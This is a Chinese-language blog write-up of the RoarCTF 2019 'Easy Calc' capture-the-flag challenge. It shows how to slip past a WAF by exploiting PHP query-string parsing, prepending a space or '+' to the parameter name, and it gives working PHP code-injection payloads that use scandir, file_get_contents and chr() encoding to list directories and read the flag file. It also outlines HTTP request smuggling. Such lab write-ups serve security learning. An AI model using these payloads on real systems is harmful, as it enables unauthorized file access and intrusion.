RoarCTF 2019 Easy Calc

这道题无任何想法,所以直接看wp。

一、利用PHP的字符串解析特性Bypass

在这道题中PHP解析时’num’=’ num’=’+num’,认为它们是同一个变量。
但是waf只认’num’而’ num’和’+num’都不在范围内,这样就能绕过waf了。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
所以

payload1:

scandir(“/“)函数读取目录,/被过滤所以换为chr(47)绕过。

1
? num=1;var_dump(scandir(chr(47)))

file()函数读取flag。
1
? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

payload2:

空格换为+。

1
?+num=1;var_dump(scandir(chr(47)))

1
?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

补充:这里的chr(47)也可以换为hex2bin(dechex(47))
dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。

二、http走私绕过WAF

一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
因为两个cl直接导致前端转发的服务器400,而且完整转发了post包给后端.
看有这种方法,但没找到此方法解题步骤。

三、补充

1. var_dump() 函数用于输出变量的相关信息。
2. var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。PHP 版本要求: PHP 4, PHP 5, PHP 7

void var_dump ( mixed $expression [, mixed $... ] )

3. scandir() 函数返回指定目录中的文件和目录的数组。
4. file_get_contents() 函数把整个文件读入一个字符串中。
5. chr()函数 从不同的 ASCII 值返回字符:
6. php语法中.就是相加。

四、解题

打开题目发现是一个计算器页面。

<(▰˘◡˘▰)

没有任何提示,右键查看源码。

<(▰˘◡˘▰)

访问calc.php发现存在过滤。

<(▰˘◡˘▰)

了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了
? num=1;var_dump(scandir(chr(47)))
ASCII码47对应/
scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交
提交后得到结果:
发现存在f1agg文件

<(▰˘◡˘▰)

字母 ASCII 构造chr()
/ 47 chr(47)
f 102 chr(102)
1 49 chr(49)
a 97 chr(97)
g 103 chr(103)
g 103 chr(103)

构造结果:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

GET flag

<(▰˘◡˘▰)


本文作者: Alone
本文链接: https://blog.nosecurity.cn/posts/25545.html
版权声明: 本博客所有文章除特别声明外,均为原创,采用 CC BY-SA 4.0 协议 ,转载请注明出处!